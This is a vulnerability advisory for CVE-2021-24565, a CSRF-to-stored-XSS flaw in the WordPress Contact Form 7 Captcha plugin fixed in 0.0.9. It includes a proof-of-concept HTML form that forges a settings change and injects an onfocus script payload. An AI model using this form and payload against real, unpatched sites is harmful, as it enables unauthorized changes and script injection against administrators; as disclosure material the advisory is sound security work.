Contact Form 7 Captcha < 0.0.9 – CSRF to Stored XSS | CVE 2021-24565 | Plugin Vulnerabilities

Description

The plugin does not have any CSRF check in place when saving its settings, allowing attacker to make a logged in user with the manage_options change them. Furthermore, the settings are not escaped when output in attributes, leading to a Stored Cross-Site Scripting issue.

Proof of Concept

All cf7sr_* parameters are vulnerable

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=cf7sr_edit" method="POST">
      <input type="hidden" name="update" value="1" />
      <input type="hidden" name="cf7sr_key" value="1" />
      <input type="hidden" name="cf7sr_secret" value="2" />
      <input type="hidden" name="cf7sr_message" value='" autofocus=autofocus onfocus=alert(1) e=' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

contact-form-7-simple-recaptcha

Fixed in 0.0.9

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2570402

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

dc11

Submitter

dc11

Verified

Yes

WPVDB ID

97bfef5e-2ee0-491a-a931-4f44c83e5be0

Timeline

Publicly Published

2021-07-26 (about 4 years ago)

Added

2021-07-26 (about 4 years ago)

Last Updated

2022-02-24 (about 3 years ago)

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